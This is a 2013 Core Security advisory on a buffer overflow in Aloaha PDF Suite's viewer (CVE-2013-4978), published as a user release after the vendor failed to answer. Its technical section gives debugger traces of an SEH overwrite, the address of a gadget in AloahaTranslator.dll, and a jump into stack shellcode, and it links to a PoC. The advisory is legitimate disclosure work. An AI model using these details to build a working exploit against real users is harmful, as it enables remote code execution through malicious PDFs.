[CORE-2013-0805] Aloaha PDF Suite Buffer Overflow Vulnerability

Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

Aloaha PDF Suite Buffer Overflow Vulnerability

1. Advisory Information

Title: Aloaha PDF Suite Buffer Overflow Vulnerability
Advisory ID: CORE-2013-0805
Advisory URL:
http://www.coresecurity.com/advisories/aloaha-pdf-suite-buffer-overflow-vulnerability
Date published: 2013-08-28
Date of last update: 2013-08-28
Vendors contacted: Aloaha Software
Release mode: User release

2. Vulnerability Information

Class: Buffer overflow [CWE-119]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4978

3. Vulnerability Description

Aloaha PDF Suite [1], [2] is prone to a security vulnerability when
processing PDF files. This vulnerability could be exploited by a remote
attacker to execute arbitrary code on the target machine by enticing
Aloaha users to open a specially crafted PDF file.

4. Vulnerable Packages

   . AloahaPDFViewer v5.0.0.7.
   . Older versions are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

There was no official answer from Aloaha after several attempts to
report this vulnerability (see [Sec. 8]). As mitigation action, given
that this is a client-side vulnerability, avoid to open untrusted PDF
files. Contact vendor for further information.

6. Credits

This vulnerability was discovered and researched by Marcos Accossatto
from CORE Exploit Writers Team.

7. Technical Description / Proof of Concept Code

Below is shown the result of opening the maliciously crafted PDF file [3]:

/-----
$+B6BB8 >|> 8B07 |MOV EAX,DWORD PTR DS:[EDI]
$+B6BBA >|. C740 14 1E000000 |MOV DWORD PTR DS:[EAX+14],1E ; <
Exception - Tries to write to 909090A4
$+B6BC1 >|. 8B5424 04 |MOV EDX,DWORD PTR SS:[ESP+4]
$+B6BC5 >|. 8950 18 |MOV DWORD PTR DS:[EAX+18],EDX
$+B6BC8 >|. 8BC7 |MOV EAX,EDI
$+B6BCA >|. 8B10 |MOV EDX,DWORD PTR DS:[EAX]
-----/

At that time, the registers 'EDX', 'EBX', 'EBP' and 'EDI' points to the
shellcode; the 'EAX' register contains the first 'DWORD' of our shellcode:

/-----
EAX 90909090
ECX 000007B4
EDX 0012DD44 ASCII "DDDDDDDDDDDDDD…"
EBX 051ACFF1 ASCII "DDDDDDDDDDDDDD…"
ESP 0012D9EC
EBP 0012DC54 ASCII "DDDDDDDDDDDDDD…"
ESI 000002F0
EDI 0012DB78
EIP 03727BBA
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_NOT_ENOUGH_MEMORY (00000008)
EFL 00000206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty 16312.144994243513790
ST1 empty 3869.8214873218676080
ST2 empty -0.0
ST3 empty -0.0
ST4 empty 1.0000000000000000000
ST5 empty 4.3980465111040000000e+12
ST6 empty 5.3078580233502760000e+15
ST7 empty 5.0609752291423027300e+17
3 2 1 0 E S P U O Z D I
FST 0020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT)
FCW 037F Prec NEAR,64 Mask 1 1 1 1 1 1

-----/

The stack's exception handler is overwritten with:

/-----
0012D9EC FFFFF94D
0012D9F0 0000000A
… …
0012DB5C 0EDDE2F1
0012DB60 909006EB Pointer to next SEH record
0012DB64 1106D8A0 SE handler
-----/

In the address '1106D8A0' of 'AloahaTranslator.dll' we have:

/-----
1106D8A0 . 83C4 14 ADD ESP,14
1106D8A3 . C3 RETN
-----/

and the stack:

/-----
$ ==> > 7C9032A8 RETURN to ntdll.7C9032A8
$+4 > 0012D704
$+8 > 0012DB60
$+C > 0012D720
$+10 > 0012D6D8
$+14 > 0012DB60 Pointer to next SEH record
-----/

So, the 'RETN' of '1106D8A3' will jump to '12DB60' (the stack) where our
shellcode is located:

/-----
0012DB60 EB 06 JMP SHORT 0012DB68
0012DB62 90 NOP
0012DB63 90 NOP
0012DB64 A0 D8061190 MOV AL,BYTE PTR DS:[901106D8]
0012DB69 90 NOP
-----/

which means the normal execution flow can be altered in order to execute
arbitrary code.

8. Report Timeline

. 2013-08-06:
Core Security Technologies notifies the Aloaha team of the
vulnerability. Publication date is set for Aug 27th, 2013.

. 2013-08-06:
Vendor asks for a report with technical information.

. 2013-08-06:
Technical details and proof of concept sent to Aloaha team.

. 2013-08-12:
Core asks for a status update and notifies the advisory publication was
scheduled for Aug 27th. No reply received.

. 2013-08-20:
Core attempts to contact vendor.

. 2013-08-26:
Core attempts to contact vendor.

. 2013-08-27:
Release date missed.

. 2013-08-28:
After 3 attempts to contact vendor, the advisory CORE-2013-0805 is
published as 'user release'.

9. References

[1] http://www.aloaha.com.
[2] http://www.aloaha.com/wi-software-en/aloaha-pdf-suite-freeware.php.
[3]
http://www.coresecurity.com/system/files/attachments/2013/08/CORE-2013-0805-aloaha-poc-94238712635.zip.

10. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.

11. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.